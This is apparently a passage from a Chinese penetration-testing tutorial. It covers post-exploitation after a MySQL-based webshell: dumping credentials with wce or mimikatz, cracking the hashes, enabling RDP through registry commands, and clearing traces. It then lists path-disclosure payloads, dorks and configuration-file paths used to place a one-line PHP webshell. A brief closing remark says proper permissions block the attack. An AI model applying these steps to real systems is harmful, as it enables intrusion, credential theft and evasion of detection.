在服务器上如果是管理员启动的mysql服务那么getshell直接就是管理员权限,如果是其他用户则需要提权。
wce,pwdump,mimikatz等工具都能抓取密码,我这里选择上传wce进行密码抓取。wce抓取
尝试直接抓明文,没有结果,那只能抓hash值了。


拿到hash值后就可以用hashcat或者直接跑彩虹表来获取密码。在线也有ophcrack可以破解。
3389连接
查看一下端口,发现3389没开

开启3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f


然后连接,输入刚刚抓到的账号密码即可。
小结
其实这样一套操作下来动静是很大的,要注意清除痕迹,另外在Windows7这类非服务器的系统上远程登录的话会挤掉当前用户,用户掉线马上就知道出事了,当然也可以使用工具让其支持多用户登录,具体就不详细说明了。0x04 php爆绝对路径方法
插入一句话木马时是需要知道网站绝对路径的,这里总结一下爆路径的方法。单引号爆路径
直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=1′
错误参数值爆路径
将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1
Google爆路径
结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。
[code]Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”
[/code]测试文件爆路径
很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。
[code]www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
[/code]phpmyadmin爆路径
一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择google。
[code]/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
[/code]配置文件找路径
如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。
[code]Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件


Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件
[/code]nginx文件类型错误解析爆路径
说明:
要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,有可能爆出物理路径
www.xxx.com/xx.jpg/x.php
0x05 思考
此次是在Windows系统下的实验,如果是Linux是否同样可以利用日志写shell?
于是找了个linux服务器测试

可以发现,我们没有权限在网站目录下创建日志文件。因为此台服务器上MYSQL并没有被赋予在站点根目录下创建文件的权限。所以也无法写shell并解析。
因此,只要做好权限把控,就可以避免此类安全问题

什么是CRLF

回复

ttgo2 发起了问题 • 1 人关注 • 0 个回复 • 575 次浏览 • 2018-10-21 09:31 • 来自相关话题